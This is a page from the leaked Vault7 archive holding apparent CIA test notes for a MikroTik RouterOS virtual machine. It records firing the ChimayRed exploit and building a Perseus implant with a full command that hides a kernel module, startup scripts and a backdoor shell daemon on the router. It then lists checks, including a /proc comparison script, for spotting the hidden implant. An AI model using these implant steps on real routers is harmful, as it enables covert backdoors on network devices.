Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #14587667
DUT5 - x86 VM - Notes
IP: 172.20.100.26/30
VLAN: 617
ROS: 6.19
Tool Versions Used:
ChimayRed 4.6.1
TshPatcher 1.0.4
Perseus 1.1.0
Test Notes
7/27/2015
- Create Ubuntu 14.10 Host VM
- Imported ROS 6.19 x86 VMVirtual Machine into vSphere.
7/28/2015
- Generate Perseus binary: python bin/perseus_1.1.0.4_routeros6_i386.zip -f /flash/boot/hidden -f /flash/etc/rc.d/run.d/S99mcc -f /flash/etc/rc.d/run.d/S99tsh -d /flash/boot/hidden -p /flash/rw/tmp/tshd-mipsbe -S /flash/boot/hidden/startup -s 2 -m /flash/boot/hidden/mcc.ko -r /flash/boot/hidden/dont_panic -z /flash/boot/hidden/zero deploy_$PERSEUS_DEPLOY_VER
- PERSEUS_DEPLOY_VER=2015-07-28
- Configured WAN, LAN, DHCPDynamic Host Configuration Protocol Server, NATNetwork Address Translation on DUT.
- Threw ChimayRed and Tshd. Uploaded BB.
Commands to Run:
mcc visible
| ID | Status | Task |
|---|---|---|
| 1 | incomplete | lsmod | grep mcc # mcc will appear in list |
| 2 | incomplete | ls /lib/modules/3.3.5 #no mcc |
| 3 | incomplete | ls /ram/pckg #no mcc |
Inconsistent hiding
| ID | Status | Task |
|---|---|---|
| 4 | incomplete | ls /sys/module #mcc should be visible |
| 5 | incomplete | ls /sys/kernel # mcc should be hidden |
Flux appears in firewall connections
| ID | Status | Task |
|---|---|---|
| 6 | incomplete |
/ip firewall connection print |
Sequential listing of /proc/pid reveals hidden directories.
| ID | Status | Task |
|---|---|---|
| 7 | incomplete | Run following script |
#!/bin/ash
i=1
#echo "PIDs in /proc/" > proc_dirs
while [ $i -lt 1000 ];
do
test -d /proc/$i && echo $i >> proc_dirs
i=$((i+1));
done
bb ls -1v /proc > ls_dirs
bb grep -Fxv -f ls_dirs proc_dirs
Check if connection is attempted to cloud.mikrotik.com
| ID | Status | Task |
|---|---|---|
| 8 | incomplete | /system logging add action=echo topics=!ntp,!dhcp,!rip,!snmp |